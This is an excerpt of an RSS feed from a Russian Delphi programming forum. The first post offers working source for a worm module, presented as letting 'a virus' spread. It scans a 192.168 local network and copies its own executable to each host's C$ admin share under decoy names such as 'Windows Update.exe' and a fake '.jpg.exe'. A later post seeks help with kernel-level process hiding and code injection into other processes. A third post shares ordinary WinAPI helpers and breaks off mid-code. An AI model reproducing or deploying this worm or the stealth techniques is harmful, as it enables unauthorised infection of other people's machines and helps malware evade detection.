<content:encoded>Этот модуль позволяет вирусу распостраняться по сети &lt;p&gt; &lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt; &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; unit LANS; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;windows, winsock; &lt;br /&gt;&lt;br /&gt; Var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;cA :Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;cB :Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;cD :Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;cC :Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Procedure StartLocalScan(NumberOfThreads :Dword&amp;#41;; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TLocalScan = Class(TObject&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Procedure InfectHost(Host: String&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Function ResolveIPToHostName(IP_Address : String&amp;#41;: String; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Procedure StartScan; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;End; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;function StrtoInt(const S: string&amp;#41;: integer; var E: integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin Val(S, Result, E&amp;#41;;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;function InttoStr(const Value: integer&amp;#41;: string; var S: string&amp;#91;11]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin Str(Value, S&amp;#41;; Result := S; end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Function TLocalScan.ResolveIPToHostname(IP_Address : String&amp;#41;: String; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Host&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:PHostEnt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Addr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:TWSAData; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSAStartUp($0101, WSA&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Try &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Addr := Inet_Addr(pChar(IP_Address&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Host := GetHostByAddr(@Addr, 4, PF_INET&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If Host &lt;&gt; NIL Then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Host.h_name &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := &apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Finally &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSACleanUp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;End; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;End; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Procedure TLocalScan.InfectHost(Host: String&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Resolved&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:String; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Resolved := ResolveIPToHostname(Host&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If (Resolved &lt;&gt; &apos;&apos;&amp;#41;&amp;nbsp;&amp;nbsp;Then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If (CopyFile(pChar(ParamStr(0&amp;#41;&amp;#41;, pChar(&apos;&amp;#92;&amp;#92;&apos;+Resolved+&apos;&amp;#92;C$&amp;#92;Install.exe&apos;&amp;#41;, False&amp;#41;&amp;#41; Then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CopyFile(pChar(ParamStr(0&amp;#41;&amp;#41;, pChar(&apos;&amp;#92;&amp;#92;&apos;+Resolved+&apos;&amp;#92;C$&amp;#92;Windows Update.exe&apos;&amp;#41;, False&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CopyFile(pChar(ParamStr(0&amp;#41;&amp;#41;, pChar(&apos;&amp;#92;&amp;#92;&apos;+Resolved+&apos;&amp;#92;C$&amp;#92;XXX_ANAL_PUSSY_CLOSEUP_cumshot!!.jpg.exe&apos;&amp;#41;, False&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CopyFile(pChar(ParamStr(0&amp;#41;&amp;#41;, pChar(&apos;&amp;#92;&amp;#92;&apos;+Resolved+&apos;&amp;#92;C$&amp;#92;Readme.txt.exe&apos;&amp;#41;, False&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;End; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;End; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;End; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Procedure TLocalScan.StartScan; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClassA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClassB&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClassC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClassD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:String; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Label &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Rewind; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sleep(1000&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClassA := cA; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClassB := cB; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClassC := cC; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClassD := cD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Rewind: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Repeat &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If (cD &gt;= 255&amp;#41; Then cD := 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If (cC &gt;= 255&amp;#41; Then cC := 0; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If (ClassD &lt; 255&amp;#41; Then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClassD := cD+1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If (ClassD = 255&amp;#41; Then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClassD := 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(ClassC&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;End; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IP :=&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IntToStr(ClassA&amp;#41; + &apos;.&apos; + &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IntToStr(ClassB&amp;#41; + &apos;.&apos; + &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IntToStr(ClassC&amp;#41; + &apos;.&apos; + &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IntToStr(ClassD&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If (ClassC &gt; cC&amp;#41; Then cC := ClassC; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If (ClassD &gt; cD&amp;#41; Then cD := ClassD; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InfectHost(IP&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Until (ClassC = 255&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;goto rewind; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;End; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Procedure StartLocalScan(NumberOfThreads :Dword&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ThreadID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:Dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cA := 192; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cB := 168; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cC := 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cD := 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;For I := 0 To NumberOfThreads -1 Do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BeginThread(NIL, 0, @TLocalScan.StartScan, NIL, 0, ThreadID&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;End; &lt;br /&gt;&lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; &lt;/span&gt;&lt;!--/BBhide--&gt; &lt;p&gt; пример использования &lt;p&gt; StartLocalScan(10);</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/22-243-1</guid>
</item>
<item>
<title>Полезнейшие модули для делфи!!!</title>
<link>https://delfcode.ru/forum/22-639-1</link>
<pubDate>Tue, 07 Feb 2012 19:02:58 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Прилепил&lt;br /&gt;Автор темы: Android&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 8</description>
<content:encoded>Товарищи!!!!&lt;br /&gt;&lt;br /&gt;Очень интересные модули для работы с процессами, памятью чужих процессов. Например, скрытие из списка процессов, разработанные ms-rem&apos;ом.&lt;br /&gt;&lt;br /&gt;Вот только почему-то не хочет работать у меня... Все компилится, но почему-то не работает ожидаемым образом. В частности, не вижу эффекта от скрытия процесса...&lt;br /&gt;&lt;br /&gt;В модуле Ring0.pas - есть функция для скрытия процесса (HideProcess)/ Вот ее никак не получается у меня заюзать нормально... А кроме того, там еще куча полезного. Например, подгрузка длл в чужой процесс, подгрузка образа своей проги целиком в чужой процесс и т.п. ДАвайте дружно разберемся.&lt;br /&gt;&lt;br /&gt;Потестите у себя, товарищи. Помогите разобраться.&lt;br /&gt;&lt;br /&gt;з.ы. Почему-то архив с ринг0.пас переобозвался в цифры после загрузки на сайт...</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>Android</dc:creator>
<guid>https://delfcode.ru/forum/22-639-1</guid>
</item>
<item>
<title>Несколько полезных функций.</title>
<link>https://delfcode.ru/forum/22-603-1</link>
<pubDate>Wed, 28 Dec 2011 16:50:50 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: WinAPI&lt;br /&gt;Автор темы: Волк-1024&lt;br /&gt;Автор последнего сообщения: Волк-1024&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Вот решил выложить некоторые из самописных функций. Все написаны с использованием только API. Может кому и пригодится... &lt;br /&gt;&lt;br /&gt; 1. GetCurrentFileName(): string &lt;br /&gt;&lt;br /&gt; Функция для получения текущего имени файла. Аналог ParamStr(0); Только короче. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function GetCurrentFileName(&amp;#41;: string; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FBuff: array&amp;#91;0..255] of char; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetModuleFileName(0, FBuff, (SizeOf(FBuff&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=(FBuff&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; 2. GetCurrentFileParam(): PChar &lt;br /&gt;&lt;br /&gt; Функция для получения текущих параметров запуска. Аналог ParamStr(1). Все действия прокомментированы. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; function GetCurrentFileParam(&amp;#41;: PChar; assembler; &lt;br /&gt; asm &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov eax, 0h&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{Обнуляем eax} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;call GetCommandLine&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{Получаем текущие параметры запуска} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov edi, eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{Результат работы записываем в edi} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov al, 20h&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{В al помещаем код пробела} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov ecx, -1 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;repne scasb&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{Ищем пробел} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmp byte ptr &amp;#91;edi], bl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{Проверяем наличе его} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;jne @_OK&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{Если нашли, прыгаем на метку @_OK} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;jmp @@_E&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{Если не нашли, прыгаем на выход} &lt;br /&gt;&lt;br /&gt; @_OK: &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;repe scasb &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dec edi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{Удаляем пробел} &lt;br /&gt;&lt;br 